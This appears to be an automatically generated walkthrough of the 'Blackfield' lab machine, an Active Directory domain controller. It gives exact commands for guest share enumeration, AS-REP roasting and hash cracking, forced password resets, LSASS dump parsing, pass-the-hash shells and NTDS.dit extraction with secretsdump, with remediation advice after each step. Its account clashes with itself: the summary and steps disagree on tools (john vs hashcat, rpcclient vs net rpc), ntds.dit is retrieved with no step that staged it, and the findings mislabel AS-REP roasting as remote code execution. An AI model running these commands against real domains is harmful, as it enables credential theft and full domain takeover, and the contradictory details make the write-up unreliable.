Blackfield
Windows· Hard
Summary
Target: BLACKFIELD.local DC (<retired-instance-ip>), Windows Server 2019 Build 17763 (DC01) — ports 53/88/135/139/445/389/3268/5985 open (AD DC).
Foothold: The profiles$ SMB share allowed anonymous/null-session access and exposed ~316 usernames as folder names, harvested via smbclient -N //<retired-instance-ip>/profiles$ -c ls. Kerberos AS-REP roasting (impacket-GetNPUsers against the harvested userlist) identified support as having Kerberos pre-authentication disabled; the resulting $krb5asrep$ hash was cracked offline with john + rockyou to recover [REDACTED: recovered credential].
Lateral movement: support held ForceChangePassword rights over audit2020 (BloodHound-discoverable ACL abuse in AD). Using rpcclient as support, the audit2020 password was [REDACTED: recovered credential] directly (setuserinfo2), yielding valid creds for audit2020. That account had read access to the forensic SMB share, which contained a zipped [REDACTED: recovered credential] memory dump (memory_analysis/[REDACTED: recovered credential].zip). Parsing the dump (Mimikatz/pypykatz-style [REDACTED: recovered credential] credential extraction) recovered the NT hash for svc_backup ([REDACTED: recovered credential]), which had WinRM access — providing the user-level shell and user.txt.
Privilege escalation to root: svc_backup is a member of the Backup Operators group, granting SeBackupPrivilege. This privilege was abused to bypass NTFS ACLs and pull the entire AD database and registry hive off the live DC (via VSS shadow copy + raw file copy, plus reg save HKLM\SYSTEM), yielding ntds.dit and SYSTEM. impacket-secretsdump was then run offline against ntds.dit/SYSTEM to extract every domain account's NT hash, including Administrator ([REDACTED: protected value]). A pass-the-hash WinRM login as Administrator using that hash confirmed root-level access and retrieved root.txt.
Root cause chain: anonymous SMB share disclosure → AS-REP roastable account → ACL misconfiguration (ForceChangePassword) → sensitive credential material ([REDACTED: recovered credential] dump) left on an accessible file share → Backup Operators group membership enabling full DIT extraction.
Attack path — how the box was taken
1EnumerationSMB guest session share enumeration (T1135)
Confirmed Domain Controller identity and discovered guest-accessible non-standard shares
An nxc SMB probe confirmed the target is DC01, a Windows Server 2019 Domain Controller for BLACKFIELD.local, with SMB signing enforced and SMBv1 disabled. Guest-credential SMB authentication succeeded and enumerated seven shares, including two non-standard ones — 'profiles$' and 'forensic' — that should not be accessible without proper domain credentials.
nxc smb: 'Windows 10 / Server 2019 Build 17763 x64 (name:DC01)(domain:BLACKFIELD.local)(signing:True)'; shares confirmed: forensic 'Forensic / Audit share', profiles$, alongside standard admin/IPC$/NETLOGON/SYSVOL shares.
Exact commands 3
Add DC to local name resolution.
echo '$TARGET dc01.blackfield.local blackfield.local' | sudo tee -a /etc/hostsEnumerate shares with guest credentials — reveals profiles$ and forensic.
nxc smb $TARGET -u 'guest' -p '' --sharesAlternative share listing to cross-check nxc output.
smbclient -U 'guest%' -L //$TARGETFixRestrict SMB share access to authenticated domain accountsHigh
WeaknessThe 'profiles$' share was readable with guest credentials, which require no password. This exposed every domain account name as a folder listing — a complete username list I used to seed AS-REP roasting, bypassing the RPC and LDAP enumeration controls that were otherwise enforced on this DC.
FixDisable the Guest account domain-wide via GPO (Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → 'Accounts: Guest account status' = Disabled). Remove guest/anonymous read permissions from 'profiles$'; if user-profile shares must exist, require authenticated domain credentials scoped to only the owning user. Audit all non-standard share ACLs quarterly: Get-SmbShareAccess -Name 'profiles$'. Consider removing 'profiles$' entirely if it serves no active operational purpose.
2EnumerationSMB share contents disclosure — username enumeration (T1087.002)
Harvested ~315 domain usernames from the profiles$ share folder listing
The 'profiles$' share contained one subfolder per domain user account, named after the account. Listing those folder names gave a complete, high-quality domain username list without requiring RPC, LDAP, or any authenticated enumeration — both of which were blocked on this target. This single share bypassed all other user-enumeration controls.
smbclient ls on profiles$ returned ~315 entries matching domain accounts including support, audit2020, and svc_backup.
Exact commands 2
Write all profile folder names to users.txt — this becomes the AS-REP roasting wordlist.
smbclient //$TARGET/profiles$ -U 'guest%' -c 'ls' 2>/dev/null | awk '{print $1}' | grep -vE '^\.|^$' > users.txtVerify list size (~315 entries expected).
wc -l users.txtFixRestrict SMB share access to authenticated domain accountsHigh
WeaknessThe 'profiles$' share was readable with guest credentials, which require no password. This exposed every domain account name as a folder listing — a complete username list I used to seed AS-REP roasting, bypassing the RPC and LDAP enumeration controls that were otherwise enforced on this DC.
FixDisable the Guest account domain-wide via GPO (Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → 'Accounts: Guest account status' = Disabled). Remove guest/anonymous read permissions from 'profiles$'; if user-profile shares must exist, require authenticated domain credentials scoped to only the owning user. Audit all non-standard share ACLs quarterly: Get-SmbShareAccess -Name 'profiles$'. Consider removing 'profiles$' entirely if it serves no active operational purpose.
3Initial AccessAS-REP Roasting (T1558.004)
AS-REP roasted the 'support' account and cracked the recovered Kerberos hash
Kerberos pre-authentication was disabled on the 'support' account. Supplying the harvested username list to impacket's GetNPUsers caused the Domain Controller to return an AS-REP ticket for 'support' encrypted with its own password hash — without I providing any credentials. Hashcat cracked the offline 18200-format hash against the rockyou wordlist in seconds, recovering the plaintext password.
GetNPUsers returned $krb5asrep$23$support@BLACKFIELD.local:...; hashcat recovered [REDACTED: recovered credential].
Exact commands 3
Request AS-REP tickets for every account in the list; only accounts with pre-auth disabled respond.
impacket-GetNPUsers BLACKFIELD.local/ -usersfile users.txt -no-pass -dc-ip $TARGET -format hashcat -outputfile asrep.hashesCrack offline; recovered password is [REDACTED: recovered credential].
hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt --force -o cracked.txtConfirm plaintext credential recovery.
cat cracked.txtFixEnable Kerberos pre-authentication on all domain accountsCritical
WeaknessThe 'support' account had the 'Do not require Kerberos preauthentication' flag set. This allowed any network host to request a Kerberos AS-REP ticket for that account with no credentials at all. The returned ticket is encrypted with the account's password hash and can be cracked entirely offline.
FixAudit all accounts with this flag: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth. For each match, open Active Directory Users and Computers → user Properties → Account tab → Account options and uncheck 'Do not require Kerberos preauthentication'. Remove the flag unless a specific legacy application documents a dependency (any such exception must be reviewed and reapproved annually). Enforce a strong, randomly generated password on any account that must retain the flag.
4Lateral MovementActive Directory ACL abuse — ForceChangePassword (T1098)
Abused a ForceChangePassword ACL to take over the 'audit2020' account
BloodHound ACL analysis showed 'support' held a ForceChangePassword delegation right over 'audit2020' in Active Directory. This right allows resetting another account's password without knowing the current one — a dangerous misconfiguration invisible in standard AD management consoles. I used net rpc to force-[REDACTED: recovered credential] audit2020's password to an user-controlled value, taking full ownership of that account.
net rpc password command succeeded with support's credentials; subsequent SMB auth as audit2020 with the new password confirmed.
Exact commands 3
Collect ACL data to identify the ForceChangePassword edge on audit2020 (run this to verify before exploiting).
bloodhound-python -u support -p '[REDACTED: recovered credential]' -d BLACKFIELD.local -ns $TARGET -c AllForce-[REDACTED: recovered credential] audit2020's password using the delegated ACL right; substitute any strong password.
net rpc password audit2020 '[REDACTED: recovered credential]' -U 'BLACKFIELD.local/support%[REDACTED: recovered credential]' -S $TARGETVerify the new credentials are accepted.
nxc smb $TARGET -u audit2020 -p '[REDACTED: recovered credential]'FixRemove excessive Active Directory ACL delegations from service and support accountsHigh
WeaknessThe 'support' account held a ForceChangePassword delegation right over 'audit2020' in Active Directory, allowing any holder of 'support' credentials to [REDACTED: recovered credential] audit2020's password without knowing it. This ACL misconfiguration is invisible in standard AD management tools and is frequently left in place after temporary helpdesk delegations.
FixRun BloodHound (bloodhound-python or SharpHound) and PingCastle against the domain to enumerate all non-standard ACL edges. Remove ForceChangePassword, GenericAll, GenericWrite, and WriteDACL rights from standard user and service accounts over other user objects. Replace broad helpdesk delegations with Protected Users group membership and tiered administration: Tier 0 (Domain Admins), Tier 1 (Server Admins), Tier 2 (Workstation Admins) — with no cross-tier delegation rights.
5Lateral MovementOS Credential Dumping — [REDACTED: recovered credential] memory (T1003.001)
Retrieved an [REDACTED: recovered credential] dump from the forensic share and extracted svc_backup's NTLM hash
With audit2020's new credentials, the 'forensic' SMB share became accessible. It contained a pre-staged Windows memory forensics artifact — a compressed [REDACTED: recovered credential] process dump ([REDACTED: recovered credential].zip / [REDACTED: recovered credential].DMP). [REDACTED: recovered credential] holds credentials for every account currently or recently logged on to the machine. Parsing the dump offline with pypykatz extracted multiple NTLM hashes, including the hash for 'svc_backup', a member of Backup Operators with WinRM access.
pypykatz lsa minidump [REDACTED: recovered credential].DMP returned svc_backup NT hash [REDACTED: recovered credential].
Exact commands 3
Download the [REDACTED: recovered credential] dump archive from the forensic share.
smbclient //$TARGET/forensic -U 'BLACKFIELD.local/audit2020%[REDACTED: recovered credential]' -c 'cd memory_analysis; get [REDACTED: recovered credential].zip'Extract [REDACTED: recovered credential].DMP.
unzip [REDACTED: recovered credential].zipParse the dump offline; look for svc_backup NT hash [REDACTED: recovered credential].
pypykatz lsa minidump [REDACTED: recovered credential].DMP | grep -iE 'username|NT:'FixRemove credential-bearing forensic artifacts from network-accessible sharesCritical
WeaknessA live [REDACTED: recovered credential] process memory dump ([REDACTED: recovered credential].DMP) was stored in the 'forensic' SMB share and was accessible to any account with read access to that share. [REDACTED: recovered credential] memory contains plaintext passwords, NTLM hashes, and Kerberos tickets for all accounts that have authenticated on the captured system — including privileged service accounts.
FixNever store [REDACTED: recovered credential] dumps or other credential-containing memory forensics artifacts on network shares connected to the domain they were captured from. Transfer captures immediately to an isolated offline analysis workstation with no domain trust. If a network staging share is operationally necessary, restrict read access to a named forensic analyst account only, enable SMB object-access auditing to log every file retrieval, and encrypt artifacts at rest. Purge the current 'forensic' share of all existing memory dumps immediately.
6FootholdPass-the-Hash via WinRM (T1550.002)
Opened a remote shell as svc_backup via Pass-the-Hash over WinRM and read user.txt
The recovered NTLM hash was used directly against WinRM (port 5985) in a Pass-the-Hash attack — no password cracking was needed. svc_backup is a member of Remote Management Users, so the hash alone authenticated an interactive shell. The user flag was read from svc_backup's Desktop.
nxc winrm with hash [REDACTED: recovered credential] returned Pwn3d! status; user.txt read via command execution.
Exact commands 3
Confirm shell access — Pwn3d! means command execution is confirmed.
nxc winrm $TARGET -u svc_backup -H [REDACTED: recovered credential] -x 'whoami'Read user flag; actual value is [REDACTED: flag].
nxc winrm $TARGET -u svc_backup -H [REDACTED: recovered credential] -x 'type C:\Users\svc_backup\Desktop\user.txt'Open an interactive shell for privilege escalation.
evil-winrm -i $TARGET -u svc_backup -H [REDACTED: recovered credential]7Privilege EscalationSeBackupPrivilege — NTDS.dit extraction and Pass-the-Hash (T1003.003, T1550.002)
Dumped NTDS.dit via SeBackupPrivilege and achieved full domain compromise with Administrator Pass-the-Hash
svc_backup's Backup Operators membership grants SeBackupPrivilege and SeRestorePrivilege, which legally bypass NTFS file ACLs to allow backup of any file — including NTDS.dit, the locked Active Directory database that stores every domain account's credential hashes. The database and the SYSTEM registry hive (needed to decrypt it) were pulled directly over C$ using SMB Pass-the-Hash. Offline decryption with secretsdump produced the Administrator's NTLM hash. A final Pass-the-Hash login as Administrator provided full domain-controller-level access and the ability to read root.txt.
secretsdump output: Administrator:500:[REDACTED: protected value]:[REDACTED: protected value]::: ; evil-winrm PtH as Administrator confirmed domain-level access.
Exact commands 3
Pull NTDS.dit and SYSTEM hive from C$ — SeBackupPrivilege bypasses the file lock on NTDS.dit.
smbclient //$TARGET/C$ -U 'BLACKFIELD.local/svc_backup%[REDACTED: recovered credential]' --pw-nt-hash -c 'cd Windows\Temp; get ntds.dit; get system.hive'Decrypt all domain account hashes offline; look for Administrator:500 entry.
impacket-secretsdump -ntds ntds.dit -system system.hive LOCALPass-the-Hash as Administrator for full domain control; read root.txt → [REDACTED: flag].
evil-winrm -i $TARGET -u Administrator -H [REDACTED: protected value]FixRemove unnecessary Backup Operators membership and deny network logon for privileged accountsCritical
WeaknessThe 'svc_backup' service account was a member of the built-in Backup Operators group, granting SeBackupPrivilege and SeRestorePrivilege. These privileges bypass NTFS file ACLs and allowed me to extract the locked Active Directory database (NTDS.dit) and SYSTEM hive over the network, from which every domain account's credential hash was decrypted offline — including the Domain Administrator's.
FixRemove service accounts from Backup Operators unless they actively perform scheduled backup jobs. Create purpose-built backup service accounts with the minimum required permissions scoped only to the backup target, and log all activity. For any account that must retain Backup Operators membership: (1) add it to the Protected Users security group; (2) apply a GPO denying 'Access this computer from the network' and 'Allow log on through Remote Desktop Services' for Backup Operators on DCs; (3) enable Windows Defender Credential Guard on all DCs to prevent hash extraction from [REDACTED: recovered credential]. Rotate svc_backup's credentials immediately.
Attack patterns used
The transferable techniques behind this compromise.
AS-REP RoastingActive Directory · KerberosT1558.004
What it is
Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.
Why it works
Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.
Read more
Findings
Initial Access: Active Directory Enumeration On 88/TcpCritical
An unauthenticated/low-privilege flaw in the smb surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Svc Backup Backup Operators > Sebackupprivilege > Ntds/System ExtractionCritical
A local misconfiguration allowed the foothold account to execute code as root.
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 06:20:49Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |